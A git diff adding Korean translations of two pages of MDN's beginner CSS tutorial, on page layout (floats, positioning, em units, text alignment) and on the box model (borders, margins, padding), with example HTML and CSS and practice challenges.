+<div class="warning"><strong>중요</strong>: 번역은 제가 필요한 부분 및 확인 가능한 부분만 진행 하였으며 변역된 날자는(2013/03/19)이며 문서 변경이 잦아 오늘 이후는 원문과 번역이 다를 수 있습니다. 참고하세요. 미 번역/변경된 부분은 추가로 다른 분이 해 주실 것으로 믿습니다.</div>
+
+<p>{{ previousPage("/en-US/docs/CSS/Getting_Started/Boxes", "상자")}}<a href="/en/CSS/Getting_Started" title="en/CSS/Getting Started">CSS 시작하기</a> 안내서 12번째 장; 여기서는 Document의 배치를 정하는 몇몇 방법에 대해 알아본다. 예제 document를 좀 바꿔 보자.</p>
+
+<h2 class="clearLeft" id="정보_배치">정보: 배치</h2>
+
+<p>Document의 배치를 바꾸기 위해 CSS는 다양한 방법을 제공한다. 어떤 고급 기술은 여기 초급안내서의 범주를 훨씬 넘어서는 고급 기술이다.</p>
+
+<p>여러 브라우저에서의 결과물이 비슷하게 나오게 하기 위해, stylesheet값은 브라우저의 기본 stylesheet값과 배치값을 사용한다. 이 주제 또한 여기서의 초급과정보다 더 고급 과정이다.</p>
+
+<p>여기서는 간단한 기술에 대해 연습 해 보자.</p>
+
+<h3 id="Document_구조">Document 구조</h3>
+
+<p>만약 Document의 배치를 변경하려 한다면 이떤 경우에는 document 구조를 바꿔야 할지 모른다.</p>
+
+<p>document의 마크업 언어는 구조 생성을 위한 용도의 일반적인 태그를 가지고 있다. 예를 들면 HTML에서 구조를 생성 하기 위해 {{ HTMLElement("div") }} element를 사용 할 수 있다.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">예제</div>
+
+<p>예제 Document에서 <u>Numbered paragraphs</u>가 표시된 단락은 컨테이너 구조가 아니다.</p>
+
+<p>따라서 이 단락 주변에는 설렉터에서 이 element에 대해 정의 한 것이 없으므로 경계 박스를 그릴 수 없다.</p>
+
+<p>이 구조적 문제를 해결 하기 위해, {{ HTMLElement("div") }}태그를 단락 주변에 추가 하라. 이 태그는 유일한 것이어서 id속성으로 구분 될 수 있다.</p>
+
+<pre class="brush:html;highlight:[2,8]">&lt;h3&gt;Numbered paragraphs&lt;/h3&gt;
+&lt;div id="numbered"&gt;
+ &lt;p&gt;Lorem ipsum&lt;/p&gt;
+ &lt;p&gt;Dolor sit&lt;/p&gt;
+ &lt;p&gt;Amet consectetuer&lt;/p&gt;
+ &lt;p&gt;Magna aliquam&lt;/p&gt;
+ &lt;p&gt;Autem veleum&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<p>이제 예제 stylesheet 에 두 리스트에 주변의 경계 표시를 위한 규칙 하나를 아래와 같이 추가 하자.</p>
+
+<pre class="brush:css">ul, #numbered {
+ border: 1em solid #69b;
+ padding-right:1em;
+}
+</pre>
+
+<p>아래와 같은 형식으로 출력된다.</p>
+
+<table style="background-color: white; border: 2px outset #36b; padding: 1em; width: 30em;">
+ <tbody>
+ <tr>
+ <td>
+ <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(A) The oceans</p>
+
+ <div style="border: 12px solid #69b; margin-bottom: 16px; padding: 1em;">
+ <ul style="">
+ <li>Arctic</li>
+ <li>Atlantic</li>
+ <li>Pacific</li>
+ <li>Indian</li>
+ <li>Southern</li>
+ </ul>
+ </div>
+
+ <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(B) Numbered paragraphs</p>
+
+ <div style="border: 12px solid #69b; margin-bottom: 8px; padding: 0px 12em 0px .5em;">
+ <p><strong>1: </strong>Lorem ipsum</p>
+
+ <p><strong>2: </strong>Dolor sit</p>
+
+ <p><strong>3: </strong>Amet consectetuer</p>
+
+ <p><strong>4: </strong>Magna aliquam</p>
+
+ <p><strong>5: </strong>Autem veleum</p>
+ </div>
+ </td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="크기_단위">크기 단위</h3>
+
+<p>지금까지 이 안내서에서는 크기를 픽셀(px)단위로 표시 해왔다. 컴퓨터 화면과 같은 출력장치에서는 어느 정도 적절한 표시 방법이다. 그러나, 사용자가 글씨 크기를 바꿔 버리면 화면 출력은 이상하게 엉켜버릴 수 있다.</p>
+
+<p>다양한 용도를 위해 크기는 백분위(%)값이나, 고정넓이폰트 값(em)으료 표시하는 것이 더 좋은 방법이다.  고정 넓이 폰트 값(em)은 현재 사용되는 글씨체중 'm'에 해당하는 넓이를 기준으로 하고 있다.(영문에서는 'm'이 가장 넓은 폰트이다). 사용자가 글씨 크기를 바꾸면 배치는 자동적으로 맞추어 질 것이다.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">예제</div>
+
+<p>아래 텍스트의 왼쪽에 있는 경계는 픽셀로 크기를 지정 했다.</p>
+
+<p>오른쪽은 고정 넓이 폰트값(aka ems)으로 지정 했다.</p>
+
+<p>브라우저에서 글씨 크기를 변경하고 확인 해보면 오른쪽은 적당한 크기를 유지하지만, 왼쪽은 그렇지 않다는 것을 확인 할 수 있을 것이다.</p>
+
+<table style="background-color: white; border: 2px outset #36b; padding: 1em;">
+ <tbody>
+ <tr>
+ <td>
+ <div style="">RESIZE ME PLEASE</div>
+ </td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div class="tuto_details">
+<div class="tuto_type">좀더 자세히</div>
+
+<p>다른 기기에서는 다른 단위가 적절할 수 있다.</p>
+
+<p>이 안내서 나중 페이지에 이에 대해 좀더 자세히 알아 보도록 하자.</p>
+
+<p>변수 값과 단위에 대해 상세하게 확인 하고 싶다면 CSS 사양서의 <a class="external" href="http://www.w3.org/TR/CSS21/syndata.html#values">Values</a> 부분을 참고 하라.</p>
+</div>
+
+<h3 id="텍스트_배치">텍스트 배치</h3>
+
+<p>element 내용물을 배치하는데는 두가지 속성이 있다. 이 두가지를 통해 간단하게 배치/정열을 조절 할 수 있다.</p>
+
+<dl>
+ <dt>{{ cssxref("text-align") }}</dt>
+ <dd>이 <code>left</code>, <code>right</code>, <code>center</code>, <code>justify</code>값로 할당하여 정열 할 수 있다.</dd>
+ <dt>{{ cssxref("text-indent") }}</dt>
+ <dd>들여쓰기를 위해 적당한 값을 명시하여 사용 한다.</dd>
+</dl>
+
+<p>이 두 속성은 실제 텍스트 외에도 모든 텍스트 같은(text-like) element에도 영향을 미친다. 속성들은 부모로부터 자식까지 상송되므로, 자식 element에서 부모로 부터 받지 않으려는 속성에 대해서 정확하게 제거 하는 규칙을 추가 하지 않는다면 원하는 결과를 얻지 못할지 모른다.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">예제</div>
+
+<p>헤더를 가운데 정렬하려면</p>
+
+<pre class="brush:css">h3 {
+ border-top: 1px solid gray;
+ text-align: center;
+}
+</pre>
+
+<p>결과는 아래와 같다.</p>
+
+<table style="background-color: white; border: 2px outset #36b; padding: 1em; width: 30em;">
+ <tbody>
+ <tr>
+ <td>
+ <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray; text-align: center;">(A) The oceans</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p>HTML document에서, 헤더 아래쪽에 보여지는 내용물(content)는 헤더에서 구조적으로 포함된 사항이 아니다. 그러므로 이와 같은 헤더를 정렬하려면 헤더 아래쪽 테그는 그 스타일을 상속 받아서는 안된다.</p>
+</div>
+
+<h3 id="부유(Floats)">부유(Floats)</h3>
+
+<p>{{ cssxref("float") }}속성은 element를 강제로 왼쪽 혹은 오른쪽으로 정렬시킨다. 이것이 element의 위치와 크기를 조정하는 가장 간단한 방법이다.</p>
+
+<p>나머지 document의 내용물(content)는 부유 속성의 element 주변으로 떠있게 된다. {{ cssxref("clear") }} 속성을 통해서 element들을 부유 element로 부터 떨어져 고정 위치하도록 한다.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">예제</div>
+
+<p>예제 document에서 리스트는 윈도우의 크기에 맞게 늘어난다. 이를 방지하기 위해서는 부유속성으로 왼쪽으로 정렬되도록 하면 된다.</p>
+
+<p>아래 예로 헤더를 왼쪽 한곳에 고정 시키려면 clear속성과 left를 함께 선언 해 주어야 한다.</p>
+
+<pre class="brush:css">ul, #numbered {float: left;}
+h3 {clear: left;}
+</pre>
+</div>
+
+<p>The result looks like:</p>
+
+<table style="background-color: white; border: 2px outset #36b; padding: 1em; width: 30em;">
+ <tbody>
+ <tr>
+ <td>
+ <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(A) The oceans</p>
+
+ <div style="float: left; border: 12px solid #69b; margin-bottom: 16px; padding-left: 1em;">
+ <ul style="">
+ <li>Arctic</li>
+ <li>Atlantic</li>
+ <li>Pacific</li>
+ <li>Indian</li>
+ <li>Southern</li>
+ </ul>
+ </div>
+
+ <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(B) Numbered paragraphs</p>
+
+ <div style="float: left; border: 12px solid #69b; margin-bottom: 8px; padding-left: .5em;">
+ <p><strong>1: </strong>Lorem ipsum</p>
+
+ <p><strong>2: </strong>Dolor sit</p>
+
+ <p><strong>3: </strong>Amet consectetuer</p>
+
+ <p><strong>4: </strong>Magna aliquam</p>
+
+ <p><strong>5: </strong>Autem veleum</p>
+ </div>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p>(텍스트가 경계선에 바짝 붙어 있다면 박스의 오른편에 약간의 내부 여백 필요할듯 하다.)</p>
+
+<h3 id="위치잡기">위치잡기</h3>
+
+<p>{{ cssxref("position") }}속성에 아래 4가지 방법으로 값을 선언하여 위치를 잡을 수 있다.</p>
+
+<p>더 많은 속성이 있지만 아래와 같은 간단한 방법으로(여기서는 초급 안내서이므로) 위치를 조정 할 수 있다. 그러나 아래 방법을 조합해서 쓴다면 다소 어려워 질 것이다.</p>
+
+<dl>
+ <dt><code>relative</code></dt>
+ <dd>element의 위치는 상대적으로 정해진다. 어느 정도 값을 지정 함으로 element를 위치 시킬 수 있다. element의 바깥 여백값을 설정함으로 이와 동일한 설정 효과를 볼 수도 있다.</dd>
+ <dt><code>fixed</code></dt>
+ <dd>고정 위치 설정법. document window에서의 상대적 위치를 지정하는 방법이다. document의 나머지 부분이 스크롤 되어야 할지라도 해당 element는 고정 값을 가진다.</dd>
+ <dt><code>absolute</code></dt>
+ <dd>부모 element의 위치에 상대적으로 위치가 고정된다. 그 부모 element는 위치 지정 방법이 <code>relative</code>, <code>fixed</code> or <code>absolute</code> 중 하나이어야 한다. element의 위치 속성을 releative로 설정 한다면 방향 표시를 하지 않더라도 어떠한 속성을 가진 부모 element에도 잘 동작 할 것이다.</dd>
+ <dt><code>static</code></dt>
+ <dd>기본 설정 값이다. 명확하게 상속받은 위치 지정을 해제하려면 이 값으로 선언 해야 한다.</dd>
+</dl>
+
+<p>이 위치 지정 속성과 함께(<code>static은 제외</code>) 방향(<code>top</code>, <code>right</code>, <code>bottom</code>, <code>left</code>), 높이(<code>width)</code>, 넓이(<code>height) 크기(size)도 같이 지정 해야 한다.</code></p>
+
+<div class="tuto_example">
+<div class="tuto_type">예제</div>
+
+<p>아래 두 element의 Top정렬을 동일한 위치에 설정 하려면 예제 Document의 두 element에 부모 container를 만들어라.</p>
+
+<pre class="brush:html">&lt;div id="parent-div"&gt;
+ &lt;p id="forward"&gt;/&lt;/p&gt;
+ &lt;p id="back"&gt;\&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<p>예제 stylesheet에서 부모 element의 위치 속성을 <code>relative로 하라.</code> 방향 속성까지 같이 할 필요는 없다.자식 element의 위치는 absolute로 설정하라.</p>
+
+<pre class="brush:css">#parent-div {
+ position: relative;
+ font: bold 200% sans-serif;
+}
+
+#forward, #back {
+ position: absolute;
+ margin:0px; /* no margin around the elements */
+  top: 0px; /* distance from top */
+  left: 0px; /* distance from left */
+}
+
+#forward {
+ color: blue;
+}
+
+#back {
+ color: red;
+}
+</pre>
+
+<p>결과는 아래처럼 백슬레쉬(\)와 슬레쉬(/)가 겹쳐서 위치 되도록 하였다.</p>
+
+<div style="position: relative; left: .33em; font: bold 300% sans-serif;">
+<p style="position: absolute; margin: 0px; top: 0px; left: 0px; color: blue;">/</p>
+
+<p style="position: absolute; margin: 0px; top: 0px; left: 0px; color: red;">\</p>
+</div>
+
+<table style="background-color: white; border: 2px outset #36b; height: 5em; padding: 1em; width: 30em;">
+ <tbody>
+ <tr>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div class="tuto_details">
+<div class="tuto_type">좀더 자세히</div>
+
+<p>위치 지정에 대한 모든 내용은 CSS 사양서의 <a class="external" href="http://www.w3.org/TR/CSS21/visuren.html">Visual formatting model</a>과 <a class="external" href="http://www.w3.org/TR/CSS21/visudet.html">Visual formatting model details</a>의 두 챕터에 나와 있다.</p>
+
+<p>다양한 브라우저에서 동작하도록 stylesheet를 설계하고자 한다면, 브라우저별로 표준을 다르게 해석하는 것과 특정 버전의 브라우저에 있는 버그에 대해서도 고려해야 한다.</p>
+</div>
+
+<h2 id="액션_배치_선언">액션: 배치 선언</h2>
+
+<ol>
+ <li><code>doc2.html와</code> <code>style2.css를 수정 하여 위에 나온</code><a href="#Document_structure" title="#Document structure"><strong>Document structure</strong></a> 와 <a href="#Floats" title="#Floats"><strong>Floats</strong></a>를 연습 해 보자.</li>
+ <li><a href="#Floats" title="#Floats"><strong>Floats</strong></a>예제에서 텍스트를 오른쪽 경계와의 안쪽 여백을 0.5 em로 설정 하라.</li>
+</ol>
+
+<div class="tuto_example">
+<div class="tuto_type">도전</div>
+
+<p><code>doc2.html의 아래쪽 &lt;/body&gt; 바로 위에 아래 태그를 추가하라</code>.</p>
+
+<pre class="brush:html">&lt;img id="fixed-pin" src="Yellow-pin.png" alt="Yellow map pin"&gt;
+</pre>
+
+<p>아래 이미지를 다운로드 하지 않았다면 지금 다운로드 하고, 위의 예제 파일이 있는 곳으로 저장하라.</p>
+
+<table style="border: 2px solid #ccc;">
+ <tbody>
+ <tr>
+ <td><img alt="Image:Yellow-pin.png" class="internal" src="/@api/deki/files/490/=Yellow-pin.png"></td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Document내에서 위의 이미지가 어느 위치에 표시될지 예상 해 보라. 그리고 브라우저에서 읽어들여 그 결과를 확인 해 보라.</p>
+
+<p>Document의 오른쪽 위에 자리 잡을 수 있도록 예제 stylesheet에 규칙을 추가 해 보라.</p>
+
+<p>브라우저에서 다시 읽어 보고 윈도우를 작게 조절 해 보라. 윈도우 크기를 조절 할때에도 Document가 Scroll될지라도 위의 이미지가 오른쪽 위에 계속 자리 하는지를 확인 해 보라.</p>
+
+<div style="position: relative; width: 29.5em; height: 18em;">
+<div style="overflow: auto; border: 2px outset #36b; padding: 1em; width: 29em; height: 16em; background-color: white;">
+<p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(A) The oceans</p>
+
+<div style="float: left; border: 12px solid #69b; margin-bottom: 16px; padding: 0px .5em 0px 1em;">
+<ul style="">
+ <li>Arctic</li>
+ <li>Atlantic</li>
+ <li>Pacific</li>
+ <li>Indian</li>
+ <li>Southern</li>
+</ul>
+</div>
+
+<p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(B) Numbered paragraphs</p>
+
+<div style="float: left; border: 12px solid #69b; padding: 0 .5em 0 .5em;">
+<p><strong>1: </strong>Lorem ipsum</p>
+
+<p><strong>2: </strong>Dolor sit</p>
+
+<p><strong>3: </strong>Amet consectetuer</p>
+
+<p><strong>4: </strong>Magna aliquam</p>
+
+<p><strong>5: </strong>Autem veleum</p>
+</div>
+
+<p style=""> </p>
+
+<div style="position: absolute; top: 2px; right: 0px;"><img alt="Yellow map pin" class="internal" src="/@api/deki/files/490/=Yellow-pin.png"></div>
+</div>
+</div>
+</div>
+
+<p><a href="/en/CSS/Getting_Started/Challenge_solutions#Layout" title="https://developer.mozilla.org/en/CSS/Getting_Started/Challenge_solutions#Layout">정답 확인.</a></p>
+
+<h2 id="다음에는">다음에는?</h2>
+
+<p>{{ nextPage("/en-US/docs/CSS/Getting_Started/Tables", "테이블") }}이제까지 CSS의 초급 안내서에 나온 주제를 다 확인 해 보았다. 다음장에서 부터는 CSS 설렉터의 고급 기술과 <a href="/en-US/docs/CSS/Getting_Started/Tables" title="/en-US/docs/CSS/Getting_Started/Tables">테이블</a>의 스타일을 설정하는 방법에 대해 알아보자.</p>
diff --git a/files/ko/web/css/시작하기/상자/index.html b/files/ko/web/css/시작하기/상자/index.html
new file mode 100644
index 0000000000..17de8697c7
--- /dev/null
+++ b/files/ko/web/css/시작하기/상자/index.html
@@ -0,0 +1,330 @@
+---
+title: 상자
+slug: Web/CSS/시작하기/상자
+translation_of: Learn/CSS/Building_blocks
+---
+<p>{{ CSSTutorialTOC() }}</p>
+
+<div class="warning"><strong>중요</strong>: 번역은 제가 필요한 부분 및 확인 가능한 부분만 진행 하였으며 변역된 날자는(2013/03/19)이며 문서 변경이 잦아 오늘 이후는 원문과 번역이 다를 수 있습니다. 참고하세요. 미 번역/변경된 부분은 추가로 다른 분이 해 주실 것으로 믿습니다.</div>
+
+<p>{{ previousPage("/en-US/docs/CSS/Getting_Started/Lists", "리스트") }}<a href="/en/CSS/Getting_Started" title="en/CSS/Getting Started">CSS 시작하기</a> 안내서 11번째 장; 여기서는 CSS를 통해 element들이 보여질때 page의 공간을 어떻게 배치하는지에 대해 알아본다. 예제 documnet에서 각 element의 여백 조절과 꾸미기에 대해 배워 보자.</p>
+
+<h2 class="clearLeft" id="정보_상자">정보: 상자</h2>
+
+<p>Element를 브라우저에서 표시할때 그 Element는 공간을 자치 한다. 차지하는 공간에는 4가지 요소가 있다.</p>
+
+<p>가운데는, element의 내용물을 표시가는 공간이며, 주변은 안쪽 여백이 있고, 그 주변에 경계가 있으며, 다른 element와의 간격이 있다.</p>
+
+<table>
+ <tbody>
+ <tr>
+ <td style="width: 22em;">
+ <div style="background-color: #eee; padding: 0px 2em 2em 2em; width: 16em;">
+ <p style="text-align: center; margin: 0px;">margin</p>
+
+ <p style="text-align: center; margin: 0px 0px -.75em 0px;">border</p>
+
+ <div style="background-color: #fff; padding: 0px 2em 2em 2em; border: 4px solid #fd9;">
+ <p style="text-align: center;">padding</p>
+
+ <div style="background-color: #eee;">
+ <p style="text-align: center; padding: 0px; margin: 0px; font-size: 200%; font-weight: bold; color: #999;">element</p>
+ </div>
+ </div>
+ </div>
+
+ <p><em>옅은 회색은 레이아웃의 구성을 보여준다.</em></p>
+ </td>
+ <td>
+ <div style="background-color: #fff; padding: 0px 2em 2em 2em; width: 16em;">
+ <p style="text-align: center; margin: 0px;"> </p>
+
+ <p style="text-align: center; margin: 0px 0px -.75em 0px;"> </p>
+
+ <div style="background-color: #fff; padding: 0px 2em 2em 2em; border: 4px solid #fd9;">
+ <p style="text-align: center;"> </p>
+
+ <div style="background-color: #fff;">
+ <p style="text-align: center; padding: 0px; margin: 0px; font-size: 200%; font-weight: bold; color: #999;">element</p>
+ </div>
+ </div>
+ </div>
+
+ <p><em>브라우저에서는 위와 같이 보여준다.</em></p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p>안쪽 여백, 경계 그리고 바깥 여백은 element에 대해 각각 top, right, bottom, left의 크기를 가진다. 이것들은 크기가 0이 될 수도 있다.</p>
+
+<h3 id="색상입히기">색상입히기</h3>
+
+<p>안쪽 여백 색상은 element의 배경과 항상 동일하게 유지된다. 배경색을 바꾼다면 element경과 안쪽 여백 색이 바뀌는 것을 확인 할 수 있을 것이다. 바깥 여백은 항상 투명하다.</p>
+
+<table>
+ <tbody>
+ <tr>
+ <td style="width: 22em;">
+ <div style="background-color: #eee; padding: 0px 2em 2em 2em; width: 16em;">
+ <p style="text-align: center; margin: 0px;">margin</p>
+
+ <p style="text-align: center; margin: 0px 0px -.75em 0px;">border</p>
+
+ <div style="background-color: #efe; padding: 0px 2em 2em 2em; border: 4px solid #fd9;">
+ <p style="text-align: center;">padding</p>
+
+ <div style="background-color: #ded;">
+ <p style="text-align: center; padding: 0px; margin: 0px; font-size: 200%; font-weight: bold; color: #898;">element</p>
+ </div>
+ </div>
+ </div>
+
+ <p><em>element는 녹색 배경색이다..</em></p>
+ </td>
+ <td>
+ <div style="background-color: #fff; padding: 0px 2em 2em 2em; width: 16em;">
+ <p style="text-align: center; margin: 0px;"> </p>
+
+ <p style="text-align: center; margin: 0px 0px -.75em 0px;"> </p>
+
+ <div style="background-color: #efe; padding: 0px 2em 2em 2em; border: 4px solid #fd9;">
+ <p style="text-align: center;"> </p>
+
+ <div style="background-color: #efe;">
+ <p style="text-align: center; padding: 0px; margin: 0px; font-size: 200%; font-weight: bold; color: #898;">element</p>
+ </div>
+ </div>
+ </div>
+
+ <p><em>브라우저에서 보면 위와 같다.</em></p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="경계">경계</h3>
+
+<p>라인이나 상자를 통해 element의 경계를 치장 할 수 있다.</p>
+
+<p>경계를 설정 하려면 {{ cssxref("border") }}속성을 이용하라. 두께(보통 표시 화면의 픽셀 두께), 스타일, 색상등을 설정 하라.</p>
+
+<p>스타일은 아래와 같다.</p>
+
+<table style="margin-left: 2em;">
+ <tbody>
+ <tr>
+ <td style="width: 6em;">
+ <div style="border: 2px solid #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>solid</code></div>
+ </td>
+ <td style="width: 6em;">
+ <div style="border: 2px dotted #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>dotted</code></div>
+ </td>
+ <td style="width: 6em;">
+ <div style="border: 2px dashed #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>dashed</code></div>
+ </td>
+ <td style="width: 6em;">
+ <div style="border: 4px double #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>double</code></div>
+ </td>
+ </tr>
+ <tr>
+ <td style="width: 6em;">
+ <div style="border: 2px inset #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>inset</code></div>
+ </td>
+ <td style="width: 6em;">
+ <div style="border: 2px outset #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>outset</code></div>
+ </td>
+ <td style="width: 6em;">
+ <div style="border: 4px ridge #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>ridge</code></div>
+ </td>
+ <td style="width: 6em;">
+ <div style="border: 4px groove #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>groove</code></div>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p>스타일을 none이라 hidden으로 설정하면 경계가 사라진다. 다른 방법으로는 경계 색상을 투명으로 설정하여 레이아웃을 변경하지 않고도 경계를 보이지 않게 할 수도 있다.</p>
+
+<p>경계를 각각 별개로 설정하기 위해서는{{ cssxref("border-top") }}, {{ cssxref("border-right") }}, {{cssxref("border-bottom")}}, {{cssxref("border-left")}}등으로 할  수 있다. 각 top, right, bottom, left는 개별적으로 설정이 가능하다.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">예제</div>
+
+<p>아래 규칙은 헤더 element의 윗쪽 경계와 배경색에 대한 속성을 지정 한다.</p>
+
+<pre class="brush:css">h3 {
+ border-top: 4px solid #7c7; /* mid green */
+ background-color: #efe; /* pale green */
+ color: #050; /* dark green */
+ }
+</pre>
+
+<p>결과는 아래와 같다.</p>
+
+<table>
+ <tbody>
+ <tr>
+ <td>
+ <p style="font-size: 133%; font-weight: bold; background-color: #efe; border-top: 4px solid #7c7; color: #050; padding-right: 6em;">Stylish heading</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p>아래 규칙은 이미지 주변에 회색띠를 둘러서 경계를 구분하기 편하게 하고 있다.</p>
+
+<pre class="brush:css">img {border: 2px solid #ccc;}
+</pre>
+</div>
+
+<p>결과는 아래와 같다.</p>
+
+<table>
+ <tbody>
+ <tr>
+ <td>Image:</td>
+ <td style="border: 2px solid #ccc;"><img alt="Image:Blue-rule.png" class="internal" src="/@api/deki/files/47/=Blue-rule.png"></td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="내외부_여백">내/외부 여백</h3>
+
+<p>내/외부 여백을 이용하여(margins and padding) element의 위치와 그 주변의 여백을 설정 할 수 있다.</p>
+
+<p>바깥 여백은 {{ cssxref("margin") }}속성을 사용하며 내부여백은 {{ cssxref("padding") }}속성을 각각 사용한다.</p>
+
+<p>위의 속성으로 넓이 값을 하나 선언하면 element의 4방향(top, right, bottom and left) 모두 바뀐다.</p>
+
+<p>넓이 값을 두개 선언하면, 첫번째 값으로는 top, bottom값이 적용되고, 두번째 값으로는 right, left값이 바뀐다.</p>
+
+<p>4개 값을 각각 주기 위해서는 각 값을 top, right, bottom, left의 순서로 나열 하면 된다.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">예제</div>
+
+<p>아래는 p class가 remark인 단락을 빨간 경계박스로 만드는 규칙이다.</p>
+
+<p>안쪽 여백 값은 4픽셀으로 둘러져 있으며, 왼쪽 바깥 여백은 24픽셀이므로 들여쓰기 효과로 보여진다.</p>
+
+<pre class="brush:css">p.remark {
+ border: 2px solid red;
+ padding: 4px;
+ margin-left: 24px;
+ }
+</pre>
+
+<p>결과는 아래와 같다.</p>
+
+<table>
+ <tbody>
+ <tr>
+ <td>
+ <p>Here is a normal paragraph.</p>
+
+ <p style="border: 2px solid red; padding: 4px 6em 4px 4px; margin: 0px 0px 0px 24px;">Here is a remark.</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div class="tuto_details">
+<div class="tuto_type">좀더 자세히</div>
+
+<p>내/외부 여백으로 element의 배치를 할때는 브라우저에서 제공하는 기본 값과 사용자가 정의한 값을 바탕으로 정해지므로 조금 복잡할 수도 있다.</p>
+
+<p>브라우저에 따라 보이는 내용이 다를 수 있다. stylesheet에 내용을 많이 추가 할 수록 브라우저 기본값보단 설정된 값을 많이 사용하므로 더욱더 비슷한 결과물을 볼수 있을 것이다.</p>
+
+<p>원하는 결과물을 얻기 위해서는, Document의 마크업들을 바꿔야 할지도 모른다. 다음장에서는 이에 대해 좀더 자세히 알아보자.</p>
+
+<p>내/외부 여백과 경계선등에 대해 좀더 자세히 알아보려면 <a href="/en/CSS/box_model" title="en/CSS/box model"><span class="external">Box model</span></a>를 참조하라.</p>
+</div>
+
+<h2 id="액션_경계선_추가">액션: 경계선 추가</h2>
+
+<p><code>style2.css</code>를 열어, 각 헤더별로 윗쪽에 줄을 긋는 아래 규칙을 추가 하라.</p>
+
+<pre class="brush:css">h3 {border-top: 1px solid gray;}
+</pre>
+
+<p>이 페이지 아래 도전과제를 수행한다면, 그 규칙을 변경하고, 그렇지 않다면 각 리스트 아래에 바깥 여백을 추가하는 아래 규칙을 추가 하라.</p>
+
+<pre class="brush:css">li {
+ list-style: lower-roman;
+ margin-bottom: 8px;
+ }
+</pre>
+
+<p>결과를 보기위해 브라우저에서 새로 읽어 보라.</p>
+
+<table style="background-color: white; border: 2px outset #36b; padding: 1em;">
+ <tbody>
+ <tr>
+ <td>
+ <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(A) The oceans</p>
+
+ <ul style="">
+ <li style="margin-bottom: 8px;">Arctic</li>
+ <li style="margin-bottom: 8px;">Atlantic</li>
+ <li style="margin-bottom: 8px;">Pacific</li>
+ <li style="margin-bottom: 8px;">Indian</li>
+ <li style="margin-bottom: 8px;">Southern</li>
+ </ul>
+
+ <p style="font-weight: bold; font-size: 133%; margin-top: 1em; margin-bottom: .3em; padding: .4em 4em .16em 0; border-top: 1px solid gray;">(B) Numbered paragraphs</p>
+
+ <p><strong>1: </strong>Lorem ipsum</p>
+
+ <p><strong>2: </strong>Dolor sit</p>
+
+ <p><strong>3: </strong>Amet consectetuer</p>
+
+ <p><strong>4: </strong>Magna aliquam</p>
+
+ <p><strong>5: </strong>Autem veleum</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<div class="tuto_example">
+<div class="tuto_type">도전</div>
+
+<p>예제 stylesheet에 하나의 규칙을 추가하여 아래처럼 바다가 연생되는 색으로 모든 경계를 두껍게 만들어 보라.</p>
+
+<table style="background-color: white; border: 2px outset #36b; padding: 1em;">
+ <tbody>
+ <tr>
+ <td>
+ <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(A) The oceans</p>
+
+ <div style="border: 12px solid #69b; padding-left: 1em;">
+ <ul style="">
+ <li style="margin-bottom: 8px;">Arctic</li>
+ <li style="margin-bottom: 8px;">Atlantic</li>
+ <li style="margin-bottom: 8px;">Pacific</li>
+ <li style="margin-bottom: 8px;">Indian</li>
+ <li style="margin-bottom: 8px;">Southern</li>
+ </ul>
+ </div>
+
+ <p style="font-weight: bold; font-size: 133%; margin-top: 1em; margin-bottom: .3em; padding: .4em 4em .16em 0; border-top: 1px solid gray;">(B) Numbered paragraphs</p>
+
+ <p><strong>. . .</strong></p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<p>(여기 보이는 예제와 똑같은 두께나 색상으로 바꿀 필요는 없다.)</p>
+</div>
+
+<p><a href="/en/CSS/Getting_Started/Challenge_solutions#Boxes" title="https://developer.mozilla.org/en/CSS/Getting_Started/Challenge_solutions#Boxes">결과 확인.</a></p>
+
+<h2 id="다음에는">다음에는?</h2>
+
